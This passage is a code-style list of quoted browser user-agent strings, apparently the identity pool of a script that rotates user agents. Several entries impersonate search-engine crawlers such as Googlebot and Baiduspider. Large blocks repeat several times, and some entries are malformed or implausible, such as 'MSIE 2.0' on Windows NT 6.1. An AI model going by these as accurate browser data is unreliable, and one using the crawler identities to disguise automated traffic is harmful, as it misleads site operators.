'Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)',
'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)',
'Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51',
'Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36',
'Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36',
'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.9 Safari/536.5',
'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.9 Safari/536.5',
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_0) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1063.0 Safari/536.3',
'Mozilla/5.0 (Windows NT 5.1; rv:31.0) Gecko/20100101 Firefox/31.0',
'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20120101 Firefox/29.0',
'Mozilla/5.0 (X11; OpenBSD amd64; rv:28.0) Gecko/20100101 Firefox/28.0',
'Mozilla/5.0 (X11; Linux x86_64; rv:28.0) Gecko/20100101 Firefox/28.0',
'Mozilla/5.0 (Windows NT 6.1; rv:27.3) Gecko/20130101 Firefox/27.3',
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:25.0) Gecko/20100101 Firefox/25.0',
'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:24.0) Gecko/20100101 Firefox/24.0',
'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)',
'Mozilla/5.0(compatible; MSIE 10.0; Windows NT 6.1; Trident/4.0; InfoPath.2; SV1; .NET CLR 2.0.50727; WOW64)',
'Mozilla/5.0 (compatible; MSIE 10.0; Macintosh; Intel Mac OS X 10_7_3; Trident/6.0)',
'Mozilla/5.0 (BlackBerry; U; BlackBerry 9900; en) AppleWebKit/534.11+ (KHTML, like Gecko) Version/7.1.0.346 Mobile Safari/534.11+',
'Mozilla/5.0 (BlackBerry; U; BlackBerry 9850; en-US) AppleWebKit/534.11+ (KHTML, like Gecko) Version/7.0.0.254 Mobile Safari/534.11+',
'Mozilla/5.0 (BlackBerry; U; BlackBerry 9850; en-US) AppleWebKit/534.11+ (KHTML, like Gecko) Version/7.0.0.254 Mobile Safari/534.11+',
'Mozilla/5.0 (Windows NT 6.2) AppleWebKit/535.7 (KHTML, like Gecko) Comodo_Dragon/16.1.1.0 Chrome/16.0.912.63 Safari/535.7',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.5 (KHTML, like Gecko) Comodo_Dragon/4.1.1.11 Chrome/4.1.249.1042 Safari/532.5',
'Mozilla/5.0 (iPad; CPU OS 6_0 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10A5355d Safari/8536.25',
'Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/537.13+ (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2',
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit/534.55.3 (KHTML, like Gecko) Version/5.1.3 Safari/534.53.10',
'Mozilla/5.0 (iPad; CPU OS 5_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko ) Version/5.1 Mobile/9B176 Safari/7534.48.3',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; tr-TR) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)',
'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)',
'Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51',
'Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36',
'Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36',
'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.9 Safari/536.5',
'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.9 Safari/536.5',
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_0) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1063.0 Safari/536.3',
'Mozilla/5.0 (Windows NT 5.1; rv:31.0) Gecko/20100101 Firefox/31.0',
'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20120101 Firefox/29.0',
'Mozilla/5.0 (X11; OpenBSD amd64; rv:28.0) Gecko/20100101 Firefox/28.0',
'Mozilla/5.0 (X11; Linux x86_64; rv:28.0) Gecko/20100101 Firefox/28.0',
'Mozilla/5.0 (Windows NT 6.1; rv:27.3) Gecko/20130101 Firefox/27.3',
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:25.0) Gecko/20100101 Firefox/25.0',
'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:24.0) Gecko/20100101 Firefox/24.0',
'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)',
'Mozilla/5.0(compatible; MSIE 10.0; Windows NT 6.1; Trident/4.0; InfoPath.2; SV1; .NET CLR 2.0.50727; WOW64)',
'Mozilla/5.0 (compatible; MSIE 10.0; Macintosh; Intel Mac OS X 10_7_3; Trident/6.0)',
'Mozilla/5.0 (BlackBerry; U; BlackBerry 9900; en) AppleWebKit/534.11+ (KHTML, like Gecko) Version/7.1.0.346 Mobile Safari/534.11+',
'Mozilla/5.0 (BlackBerry; U; BlackBerry 9850; en-US) AppleWebKit/534.11+ (KHTML, like Gecko) Version/7.0.0.254 Mobile Safari/534.11+',
'Mozilla/5.0 (BlackBerry; U; BlackBerry 9850; en-US) AppleWebKit/534.11+ (KHTML, like Gecko) Version/7.0.0.254 Mobile Safari/534.11+',
'Mozilla/5.0 (Windows NT 6.2) AppleWebKit/535.7 (KHTML, like Gecko) Comodo_Dragon/16.1.1.0 Chrome/16.0.912.63 Safari/535.7',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.5 (KHTML, like Gecko) Comodo_Dragon/4.1.1.11 Chrome/4.1.249.1042 Safari/532.5',
'Mozilla/5.0 (iPad; CPU OS 6_0 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10A5355d Safari/8536.25',
'Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/537.13+ (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2',
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit/534.55.3 (KHTML, like Gecko) Version/5.1.3 Safari/534.53.10',
'Mozilla/5.0 (iPad; CPU OS 5_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko ) Version/5.1 Mobile/9B176 Safari/7534.48.3',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; tr-TR) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)',
'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)',
'Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)',
'Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)',
'Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57',
'Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)',
'Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0',
'Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g',
'Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125',
'Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)',
'Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)',
'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)',
'Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)',
'Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)',
'Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10',
'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0',
'Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10',
'Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)',
'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)',
'Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)',
'Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)',
'Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16',
'Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1',
'Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)',
'Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51',
'Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)',
'Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)',
'Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7',
'BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0',
'Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)',
'Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)',
'Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)',
'Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10',
'Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)',
'Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007',
'BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179',
'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)',
'Googlebot/2.1 (http://www.googlebot.com/bot.html)', 'Opera/9.20 (Windows NT 6.0; U; en)',
'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-2)',
'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; FDM; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322)',
'Opera/10.00 (X11; Linux i686; U; en) Presto/2.2.0',
'Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16',
'Mozilla/5.0 (compatible; Yahoo! Slurp/3.0; http://help.yahoo.com/help/us/ysearch/slurp)',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101209 Firefox/3.6.13',
'Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)',
'Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)',
'Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)', 'Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98)',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.8) Gecko/20100804 Gentoo Firefox/3.6.8',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7',
'Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)',
'Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)',
'YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)',
'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)',
'Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51',
'AppEngine-Google; (+http://code.google.com/appengine; appid: webetrex)',
'Mozilla/5.0 (compatible; MSIE 9.0; AOL 9.7; AOLBuild 4343.19; Windows NT 6.1; WOW64; Trident/5.0; FunWebProducts)',
'Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.27; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.21; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)',
'Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; GTB7.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)',
'Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)',
'Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)',
'Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57',
'Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)',
'Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0',
'Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g',
'Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125',
'Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)',
'Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)',
'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)',
'Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)',
'Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)',
'Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10',
'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0',
'Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10',
'Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)',
'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)',
'Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)',
'Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)',
'Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16',
'Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1',
'Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)',
'Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51',
'Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)',
'Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)',
'Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7',
'BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0',
'Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)',
'Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)',
'Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)',
'Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10',
'Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)',
'Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007',
'BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179',
'Mozilla/5.0 (compatible; 008/0.83; http://www.80legs.com/webcrawler.html) Gecko/2008032620',
'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) AddSugarSpiderBot www.idealobserver.com',
'Mozilla/5.0 (compatible; AnyApexBot/1.0; +http://www.anyapex.com/bot.html)',
'Mozilla/4.0 (compatible; Arachmo)', 'Mozilla/4.0 (compatible; B-l-i-t-z-B-O-T)',
'Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)',
